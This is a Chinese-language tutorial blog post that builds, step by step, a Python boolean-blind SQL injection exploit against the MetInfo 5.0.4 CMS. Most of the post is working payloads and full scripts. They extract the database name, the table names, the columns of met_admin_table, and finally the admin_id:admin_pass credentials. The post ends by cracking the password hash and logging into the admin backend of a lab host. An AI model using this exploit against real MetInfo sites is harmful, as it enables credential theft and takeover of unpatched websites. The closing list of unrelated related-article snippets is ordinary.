metinfo_5.0.4 EXP Python脚本编写

news/2024/6/18 21:49:51 标签: python, oracle, 数据库, 运维, 安全, 网络安全

文章目录

    • metinfo_5.0.4EXP编写
      • SQL注入漏洞

metinfo_5.0.4EXP编写

SQL注入漏洞

漏洞点:/about/show.php?lang=cn&id=22

http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22

image-20230922173826857

验证漏洞(数字型注入)

状态码区分正确与错误

做比较的时候不能采用单引号进行比较,要采用大小余号,ASCII进行编码

image-20230922175634001

我们看到页面正常

image-20230922175714610

页面不正常,说明此处为数字型注入,且存在布尔盲注漏洞。

我们拿sqlmap跑一下:

python">python .\sqlmap.py -u "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"

image-20230922174839385

发现只检测出了延时注入,而没有检测出存在布尔盲注,而延时注入的成本要比布尔盲注的成本要高许多,所以我们就可以自己写一个布尔盲注脚本。

布尔盲注脚本编写

python"># metinfo_5.0.4_sqli-boolean.py

'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22


'''
import requests
import string
import base64
from termcolor import colored

url="http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"

i=0


while True:
    i+=1
    
    # 获取数据库名称的长度:通过构造 payload ,将 i 的值逐渐增加,并拼接到 URL 中,发送请求。如果返回的页面内容中不包含 "../404.html" ,则表示查询成功,获取到了数据库名称的长度,将其保存在变量 sql_name_length 中。
    payload= f" and length((select database()))={i} --+" # 获取数据库名的长度时使用
    
    # 获取数据库所有表名的长度:通过构造 payload ,将 i 的值逐渐增加,并拼接到 URL 中,发送请求。如果返回的页面内容中不包含 "../404.html" ,则表示查询成功,获取到了所有表名的长度。
    payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} --+"  # 获取数据库所有表名时使用
    
    #print(payload)
    
    full_url=url+payload
    print(full_url)

    res=requests.get(url=full_url)

    if "../404.html" not in res.text:
        sql_name_length=i
        print(f"[*] The length is {i}")
        break



# string.printable 是一个内置字符串常量,包含了 ASCII 字符集中的所有可打印字符。
# strip() 是 Python 内置的字符串方法之一,它的作用是去除字符串的头尾指定字符(默认为空格字符)。
# 因为string.prinable 的最后的几个字符是空格、制表符、换行符等不可打印字符。因为在进行 SQL 注入时,只需要使用可打印字符,所以需要使用 strip() 方法将不可打印字符去除。
c_set= string.printable.strip()

sql_name=""

#  获取数据库
for b in range(sql_name_length):

    for c in c_set:
        payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名时使用,ord.c 表示转换为ascii码
        payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用
        # print(payload)

        full_url=url+payload

        res=requests.get(url=full_url)

        if "../404.html" not in res.text:
            sql_name+=c
            print(colored(f"[*] The sqlname is {sql_name}","green"))
            break

'''
    DATABASE:
        metinfo_504
        
    table_name:
        met_admin_column,met_admin_table,met_app,met_column,met_config,met_cv,met_download,
        met_feedback,met_flash,met_flist,met_img,met_index,met_job,met_label,met_lang,met_link,
        met_list,met_message,met_news,met_online,met_otherinfo,met_parameter,met_plist,met_product,
        met_skin_table,met_sms,met_visit_day,met_visit_detail,met_visit_summary
'''

说明:

代码进入一个嵌套循环,外层循环遍历数据库名称的每个字符位置,内层循环遍历在 ASCII 可打印字符集(string.printable)中的每个字符。在每次循环中,代码构造一个 payload 用于获取数据库名称和所有表名的字符。具体步骤如下:

  1. 获取数据库名称的字符:通过构造 payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- " ,将字符位置 (b+1) 和字符的 ASCII 值 (ord(c)) 插入到 payload 中,发送请求。如果返回的页面内容中不包含 “…/404.html” ,则表示查询成功,获取到了数据库名称的字符,将其添加到变量 sql_name 中。
  2. 获取数据库所有表名的字符:通过构造 payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- " ,将字符位置 (b+1) 和字符的 ASCII 值 (ord(c)) 插入到 payload 中,发送请求。如果返回的页面内容中不包含 “…/404.html” ,则表示查询成功,获取到了所有表名的字符。

执行结果:

image-20230922211732511

获取到表名之后,怎么拿到管理员账密,因为metinfo是一个出名的网站管理系统,我们可以通过百度搜一下他的数据库结构

image-20230922214225296

查到了账号和密码在met_admin_table表中,我们可以继续完善上面的脚本:

构造payload:

python">payload= f" and length((select group_concat(table_name) from information_schema.tables where table_name='met_admin_table'))>0"

在bp中进行测试:

image-20230922215240720

这里是因为单引号是不可以使用的,需要避免使用单引号,我们可以对其进行十六进制编码:

image-20230922215530028

再次测试:

image-20230922215817106

正常返回,这样payload就构造完成了。接下来构造脚本:

python"># metinfo_5.0.4_sqli-boolean.py

'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22


'''
import requests
import string
import base64
from termcolor import colored
import sys

banner='''
================================================================

      ____   _   _   _   _   ___ 
     / ___| | | | | | | | | |_ _|
    | |  _  | |_| | | | | |  | | 
    | |_| | |  _  | | |_| |  | | 
     \____| |_| |_|  \___/  |___|
                                 
                                    -- G_H_I

 Explain : In this case, the test is metinfo 5.0.4 sqli-boolean

================================================================

'''

print(colored(banner,"green"))

flag = input(colored(f"Could you want to continue?[Y/n]","red"))

if flag == "n":
    exit()


url= "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"

i=0


while True:
    i+=1
    payload= f" and length((select database()))={i} --+" # 获取数据库名的长度时使用
    payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} --+"  # 获取数据库所有表名时使用
    payload= f" and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))={i} --+"
    # print(payload)
    
    full_url=url+payload
    print(full_url)

    res=requests.get(url=full_url)

    if "../404.html" not in res.text:
        sql_name_length=i
        print(colored(f"[*] The length is {i}","red"))
        break




c_set= string.printable.strip()

sql_name=""



for b in range(sql_name_length):

    for c in c_set:
        payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名的长度时使用,ord.c 表示转换为ascii码
        payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用
        payload=f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),{b+1},1))={ord(c)} -- "
        # print(payload)

        full_url=url+payload

        res=requests.get(url=full_url)

        if "../404.html" not in res.text:
            sql_name+=c
            # print(colored(f"[*] The sqlname is {sql_name}","green"))
            print(colored(f"\r[*] The column_name is : {sql_name}","green"),end='') # end 是一个命名参数,用于指定在输出结束后要添加的字符,不添加 end 时,默认情况下是换行符 \n
            break

补充:

concatgroup_concat 都是 MySQL 数据库中的字符串聚合函数。它们的作用是把多个字符串值连接成一个字符串,并返回连接后的结果。

然而,两者有以下不同之处:

  1. concat 函数只能连接两个字符串,而 group_concat 函数可以连接多个字符串。
  2. concat 函数返回连接后的字符串结果,而 group_concat 函数返回所有连接后的字符串组成的一个字符串列表。

image-20230923104826474

我们得到了admin_id 和admin_pass,我们猜测这两个代表管理员账户和密码,我们接着完善脚本:

python"># metinfo_5.0.4_sqli-boolean.py

'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22

    得到数据库名的长度
     and length((select database()))=1 --+
    
    得到数据库名  
     and ascii(substr((select database()),1,1))=1 --+ 
    
    得到数据库所有表名的长度总和 
      and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1 --+ 

    得到数据库所有表名 
     and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=1 --+

    得到met_admin_table表的所有列数  
     and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))=1 --+
    
    得到met_admin_table表的所有字段
      and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),1,1))=1 --+ 

    获取met_admin_table表中的 admin_id和admin_pass 外加一个冒号分隔符的长度
     and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))=1 --+
    
    获取admin_id 和 admin_pass 的值
     and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),1,1))=1 --+ 
'''

import requests
import string
import base64
from termcolor import colored
import sys

banner='''
================================================================

      ____   _   _   _   _   ___ 
     / ___| | | | | | | | | |_ _|
    | |  _  | |_| | | | | |  | | 
    | |_| | |  _  | | |_| |  | | 
     \____| |_| |_|  \___/  |___|
                                 
                                    -- G_H_I

 Explain : In this case, the test is metinfo 5.0.4 sqli-boolean

================================================================

'''

print(colored(banner,"green"))

flag = input(colored(f"Could you want to continue?[Y/n]","red"))

if flag == "n":
    exit()


url= "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"

i=0


while True:
    i+=1
    payload= f" and length((select database()))={i} -- " # 获取数据库名的长度时使用
    payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} -- "  # 获取数据库所有表名时使用
    payload= f" and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))={i} -- "
    payload= f" and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))={i} --+" # limit 0,1 :限制查询结果的行数为一行,从第 0 行开始,即第一行。
    # print(payload)
    
    full_url=url+payload
    # print(full_url)

    res=requests.get(url=full_url)

    if "../404.html" not in res.text:
        sql_name_length=i
        print(colored(f"[*] The length is {i}","green"))
        break


flag = input(colored(f"Could you want to continue?[Y/n]","red"))

if flag == "n":
    exit()

c_set= string.printable.strip()

sql_name=""



for b in range(sql_name_length):

    for c in c_set:
        payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名的长度时使用,ord.c 表示转换为ascii码
        payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用
        payload=f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),{b+1},1))={ord(c)} -- "
        payload=f" and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),{b+1},1))={ord(c)} -- "
        # print(payload)

        full_url=url+payload

        res=requests.get(url=full_url)

        if "../404.html" not in res.text:
            sql_name+=c
            # print(colored(f"[*] The sqlname is {sql_name}","green"))
            print(colored(f"\r[*] The met_admin_table-column_name is : {sql_name}","green"),end='') # end 是一个命名参数,用于指定在输出结束后要添加的字符,不添加 end 时,默认情况下是换行符 \n
            break


执行结果:

image-20230923105443011

对得到的密文其进行解密:

image-20230923105548514

登录网站后台:

image-20230923105757804


http://www.niftyadmin.cn/n/5044934.html

相关文章

解决方案:TSINGSEE青犀+智能分析网关助力智慧仓储智能化监管

为全面保障物流仓储的安全性与完整性,解决仓库管理难题,优化物流仓储方式,提升仓储效率,降低人工成本,旭帆科技推出智慧仓储AI视频智能分析方案,利用物联网、大数据、云计算等技术,对仓储管理进…

5个小功能掌握正则表达式的使用

点击下方关注我,然后右上角点击...“设为星标”,就能第一时间收到更新推送啦~~~ 这篇文章通过实现5个小功能,来讲述在Java中如何使用正则。 Java中如何使用正则 Java中正则相关类位于java.util.regex包下,主要使用2个类&#xff0…

JS-ECharts-前端图表 多层级联合饼图、柱状堆叠图、柱/线组合图、趋势图、自定义中线、平均线、气泡备注点

本篇博客背景为JavaScript。在ECharts在线编码快速上手,绘制相关前端可视化图表。 ECharts官网:https://echarts.apache.org/zh/index.html 其他的一些推荐: AntV:https://antv.vision/zh chartcube:https://chartcub…

<图像处理> Kitchen-Rosenfeld角点检测

Kitchen-Rosenfeld角点检测原理 Kitchen和Rosenfeld认为角点是那些边缘曲线曲率和梯度幅值都很大的点,因此他们提出了使用曲率k与梯度幅值g的乘积来计算角点响应函数C的方法: C k g k ( I x 2 − I y 2 ) 1 / 2 I x x I y 2 I y y I x 2 − 2 I x …

一个电子信息工程学生的历程和内心感想

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 一、我对大学三年专业课程的理解二、我为什么本科选择研究嵌入式这个方向?1.可以把理论变为实际应用——兴趣是最好的老师。2.嵌入式方向可以打的比赛非…

视频太大怎么压缩变小?把视频变小这样做

随着科技的不断发展,视频已经成为了我们日常生活中不可或缺的一部分,然而,有时候我们会遇到视频体积太大,无法上传或者传输的问题,那么,如何将过大的视频压缩变小呢?下面就给大家分享几个方法&a…

redux使用,相当于vue中的vuex

实现上述功能: 下载redux, npm install redux 新建一个redux文件夹,里面新建一个count_reduce.js和store.js文件 count_reduce.js export default function count(pre0,action){let {type,data} actionconsole.log(action,action)switch(type){ca…

【刷题】2023年第十四届蓝桥杯大赛软件类省赛C/C++大学A组真题

蓝桥杯2023年第十四届省赛真题-平方差 - C语言网 (dotcpp.com) 初步想法,x y2 − z2(yz)(y-z) 即xa*b,ayz,by-z 2yab 即ab是2的倍数就好了。 即x存在两个因数之和为偶数就能满足条件。 但时间是(r-l)*x&am…